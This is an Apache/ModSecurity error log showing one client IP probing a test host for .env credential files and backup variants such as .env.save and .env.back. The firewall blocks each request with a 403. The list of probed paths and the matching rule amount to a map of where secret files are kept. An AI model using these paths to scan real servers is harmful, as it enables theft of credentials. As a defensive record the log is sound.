[Wed Feb 25 06:04:52.364777 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /blog/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZoQAAAAY&quot;]
[Wed Feb 25 06:04:52.365080 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZoQAAAAY&quot;]
[Wed Feb 25 06:04:52.365283 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZoQAAAAY&quot;]
[Wed Feb 25 06:04:52.431693 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.example&quot;] [unique_id &quot;aZ6C9LZegw_qLbSTRXm5lAAAAAM&quot;]
[Wed Feb 25 06:04:52.432005 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.example&quot;] [unique_id &quot;aZ6C9LZegw_qLbSTRXm5lAAAAAM&quot;]
[Wed Feb 25 06:04:52.432204 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.example&quot;] [unique_id &quot;aZ6C9LZegw_qLbSTRXm5lAAAAAM&quot;]
[Wed Feb 25 06:04:52.458722 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.sample&quot;] [unique_id &quot;aZ6C9LZegw_qLbSTRXm5lQAAAAM&quot;]
[Wed Feb 25 06:04:52.459083 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.sample&quot;] [unique_id &quot;aZ6C9LZegw_qLbSTRXm5lQAAAAM&quot;]
[Wed Feb 25 06:04:52.459282 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.sample&quot;] [unique_id &quot;aZ6C9LZegw_qLbSTRXm5lQAAAAM&quot;]
[Wed Feb 25 06:04:52.484820 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /blogs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blogs/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZogAAAAY&quot;]
[Wed Feb 25 06:04:52.485119 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blogs/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZogAAAAY&quot;]
[Wed Feb 25 06:04:52.485312 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blogs/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZogAAAAY&quot;]
[Wed Feb 25 06:04:52.490958 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.save&quot;] [unique_id &quot;aZ6C9LZegw_qLbSTRXm5lgAAAAM&quot;]
[Wed Feb 25 06:04:52.491232 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.save&quot;] [unique_id &quot;aZ6C9LZegw_qLbSTRXm5lgAAAAM&quot;]
[Wed Feb 25 06:04:52.491410 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.save&quot;] [unique_id &quot;aZ6C9LZegw_qLbSTRXm5lgAAAAM&quot;]
[Wed Feb 25 06:04:52.514807 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /blue/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blue/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZowAAAAY&quot;]
[Wed Feb 25 06:04:52.515095 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blue/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZowAAAAY&quot;]
[Wed Feb 25 06:04:52.515269 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blue/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZowAAAAY&quot;]
[Wed Feb 25 06:04:52.555020 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /bookchain-client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bookchain-client/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZpAAAAAY&quot;]
[Wed Feb 25 06:04:52.555317 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bookchain-client/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZpAAAAAY&quot;]
[Wed Feb 25 06:04:52.555507 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bookchain-client/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZpAAAAAY&quot;]
[Wed Feb 25 06:04:52.654531 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.back&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.back&quot;] [unique_id &quot;aZ6C9LZegw_qLbSTRXm5lwAAAAM&quot;]
[Wed Feb 25 06:04:52.654850 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.back&quot;] [unique_id &quot;aZ6C9LZegw_qLbSTRXm5lwAAAAM&quot;]
[Wed Feb 25 06:04:52.655056 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.back&quot;] [unique_id &quot;aZ6C9LZegw_qLbSTRXm5lwAAAAM&quot;]
[Wed Feb 25 06:04:52.724102 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /bootstrap/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bootstrap/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZpgAAAAY&quot;]
[Wed Feb 25 06:04:52.724395 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bootstrap/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZpgAAAAY&quot;]
[Wed Feb 25 06:04:52.724578 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bootstrap/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZpgAAAAY&quot;]
[Wed Feb 25 06:04:52.802258 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/client/.env&quot;] [unique_id &quot;aZ6C9LZegw_qLbSTRXm5mAAAAAM&quot;]
[Wed Feb 25 06:04:52.802657 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/client/.env&quot;] [unique_id &quot;aZ6C9LZegw_qLbSTRXm5mAAAAAM&quot;]
[Wed Feb 25 06:04:52.802828 2026] [:error] [pid 2312882] [client 185.177.72.13:61942] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/client/.env&quot;] [unique_id &quot;aZ6C9LZegw_qLbSTRXm5mAAAAAM&quot;]
[Wed Feb 25 06:04:52.824468 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /boxes/oracle-vagrant-boxes/containerregistry/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/ContainerRegistry/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZpwAAAAY&quot;]
[Wed Feb 25 06:04:52.824735 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/ContainerRegistry/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZpwAAAAY&quot;]
[Wed Feb 25 06:04:52.824908 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/ContainerRegistry/.env&quot;] [unique_id &quot;aZ6C9PjNQqDNAmB2zjqZpwAAAAY&quot;]
